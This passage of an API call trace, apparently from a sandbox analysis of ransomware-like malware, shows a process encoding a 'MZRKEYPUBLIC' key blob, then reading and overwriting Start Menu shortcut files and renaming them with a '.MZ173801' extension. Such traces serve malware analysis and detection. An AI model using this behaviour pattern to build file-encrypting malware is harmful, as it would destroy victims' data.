pE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0213.144] GetCurrentThreadId () returned 0xab4 [0213.144] GetCurrentThreadId () returned 0xab4 [0213.144] GetCurrentThreadId () returned 0xab4 [0213.144] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0213.144] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24cf62c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0213.145] GetCurrentThreadId () returned 0xab4 [0213.145] GetCurrentThreadId () returned 0xab4 [0213.145] GetCurrentThreadId () returned 0xab4 [0213.145] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Character Map.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\character map.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0213.145] SetFilePointer (in: hFile=0x23c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f1a8*=0) returned 0x0 [0213.145] SetFilePointer (in: hFile=0x23c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x0 [0213.145] SetFilePointer (in: hFile=0x23c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x45a [0213.145] SetFilePointer (in: hFile=0x23c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x0 [0213.145] ReadFile (in: hFile=0x23c, lpBuffer=0x24d7430, nNumberOfBytesToRead=0x45a, lpNumberOfBytesRead=0x19f1b4, lpOverlapped=0x0 | out: lpBuffer=0x24d7430*, lpNumberOfBytesRead=0x19f1b4*=0x45a, lpOverlapped=0x0) returned 1 [0213.148] CloseHandle (hObject=0x23c) returned 1 [0213.148] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Character Map.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\character map.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0213.149] WriteFile (in: hFile=0x23c, lpBuffer=0x24d9460*, nNumberOfBytesToWrite=0x45a, lpNumberOfBytesWritten=0x19f1c0, lpOverlapped=0x0 | out: lpBuffer=0x24d9460*, lpNumberOfBytesWritten=0x19f1c0*=0x45a, lpOverlapped=0x0) returned 1 [0213.150] CloseHandle (hObject=0x23c) returned 1 [0213.150] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Character Map.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\character map.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Character Map.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\character map.lnk.mz173801")) returned 1 [0213.150] GetCurrentThreadId () returned 0xab4 [0213.150] GetCurrentThreadId () returned 0xab4 [0213.150] GetCurrentThreadId () returned 0xab4 [0213.150] GetCurrentThreadId () returned 0xab4 [0213.151] GetCurrentThreadId () returned 0xab4 [0213.151] GetCurrentThreadId () returned 0xab4 [0213.151] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x21f770e1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc8e8141c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc8e8141c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x1, dwReserved1=0x19f34c, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0213.151] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f260 | out: lpLocalFileTime=0x19f260) returned 1 [0213.151] FileTimeToDosDateTime (in: lpFileTime=0x19f260, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0213.151] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x21f770e1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc8e8141c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc8e8141c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x1, dwReserved1=0x19f34c, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0213.151] GetLastError () returned 0x12 [0213.151] FindClose (in: hFindFile=0xa1b508 | out: hFindFile=0xa1b508) returned 1 [0213.151] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\*.*", lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa930023c, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0xa930023c, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x19f34c, cFileName=".", cAlternateFileName="")) returned 0xa1b508 [0213.151] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f264 | out: lpLocalFileTime=0x19f264) returned 1 [0213.151] FileTimeToDosDateTime (in: lpFileTime=0x19f264, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0213.151] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa930023c, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0xa930023c, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x19f34c, cFileName="..", cAlternateFileName="")) returned 1 [0213.151] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f260 | out: lpLocalFileTime=0x19f260) returned 1 [0213.151] FileTimeToDosDateTime (in: lpFileTime=0x19f260, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0213.151] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x655bc768, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x655bc768, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xa930023c, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x45a, dwReserved0=0x1, dwReserved1=0x19f34c, cFileName="Character Map.lnk.MZ173801", cAlternateFileName="")) returned 1 [0213.151] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f260 | out: lpLocalFileTime=0x19f260) returned 1 [0213.151] FileTimeToDosDateTime (in: lpFileTime=0x19f260, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0213.151] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x21f770e1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc8e8141c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc8e8141c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x1, dwReserved1=0x19f34c, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0213.151] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x21f770e1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc8e8141c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc8e8141c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x1, dwReserved1=0x19f34c, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0213.151] GetLastError () returned 0x12 [0213.151] FindClose (in: hFindFile=0xa1b508 | out: hFindFile=0xa1b508) returned 1 [0213.151] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6ec61aae, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xc234d9cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec61aae, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Tablet PC", cAlternateFileName="TABLET~1")) returned 1 [0213.151] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0213.151] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0213.151] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\*.*", lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6ec61aae, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xc234d9cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec61aae, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x19f34c, cFileName=".", cAlternateFileName="")) returned 0xa1b5b0 [0213.152] FindNextFileW (in: hFindFile=0xa1b5b0, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6ec61aae, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xc234d9cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec61aae, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x19f34c, cFileName="..", cAlternateFileName="")) returned 1 [0213.152] FindNextFileW (in: hFindFile=0xa1b5b0, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6ec61aae, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xc234d9cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec61aae, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x19f34c, cFileName="..", cAlternateFileName="")) returned 0 [0213.152] GetLastError () returned 0x12 [0213.152] FindClose (in: hFindFile=0xa1b5b0 | out: hFindFile=0xa1b5b0) returned 1 [0213.152] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\*.*", lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6ec61aae, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xc234d9cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec61aae, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x19f34c, cFileName=".", cAlternateFileName="")) returned 0xa1b508 [0213.152] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f264 | out: lpLocalFileTime=0x19f264) returned 1 [0213.152] FileTimeToDosDateTime (in: lpFileTime=0x19f264, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0213.152] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6ec61aae, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xc234d9cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec61aae, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x19f34c, cFileName="..", cAlternateFileName="")) returned 1 [0213.152] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f260 | out: lpLocalFileTime=0x19f260) returned 1 [0213.152] FileTimeToDosDateTime (in: lpFileTime=0x19f260, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0213.152] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6ec61aae, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xc234d9cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec61aae, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x19f34c, cFileName="..", cAlternateFileName="")) returned 0 [0213.152] GetLastError () returned 0x12 [0213.152] FindClose (in: hFindFile=0xa1b508 | out: hFindFile=0xa1b508) returned 1 [0213.152] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x955ce979, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x955ce979, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xa90c4181, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x448, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Windows Fax and Scan.lnk.MZ173801", cAlternateFileName="")) returned 1 [0213.152] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0213.152] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0213.152] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40fd93f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xa90c4181, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Windows Media Player.lnk.MZ173801", cAlternateFileName="")) returned 1 [0213.152] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0213.152] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0213.152] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x653f2a91, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x653f2a91, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xa90ea19e, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Wordpad.lnk.MZ173801", cAlternateFileName="")) returned 1 [0213.152] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0213.152] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0213.152] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96ce7e01, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96ce7e01, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xa92da080, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x462, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="XPS Viewer.lnk.MZ173801", cAlternateFileName="")) returned 1 [0213.152] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0213.152] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0213.153] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96ce7e01, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96ce7e01, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xa92da080, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x462, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="XPS Viewer.lnk.MZ173801", cAlternateFileName="")) returned 0 [0213.153] GetLastError () returned 0x12 [0213.153] FindClose (in: hFindFile=0xa1b6c8 | out: hFindFile=0xa1b6c8) returned 1 [0213.153] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38b1d2da, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2eb3f5a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xa52c6de3, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x999, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Acrobat Reader DC.lnk.MZ173801", cAlternateFileName="ACROBA~1.MZ1")) returned 1 [0213.153] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0213.153] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0213.153] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc23f53a4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x76b7cd4d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Administrative Tools", cAlternateFileName="ADMINI~1")) returned 1 [0213.153] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0213.153] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0213.153] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*.*", lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc23f53a4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x76b7cd4d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName=".", cAlternateFileName="")) returned 0xa1b3b8 [0213.153] FindNextFileW (in: hFindFile=0xa1b3b8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc23f53a4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x76b7cd4d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="..", cAlternateFileName="")) returned 1 [0213.153] FindNextFileW (in: hFindFile=0xa1b3b8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c1db61d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c1db61d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c1db61d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Component Services.lnk", cAlternateFileName="")) returned 1 [0213.153] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f530 | 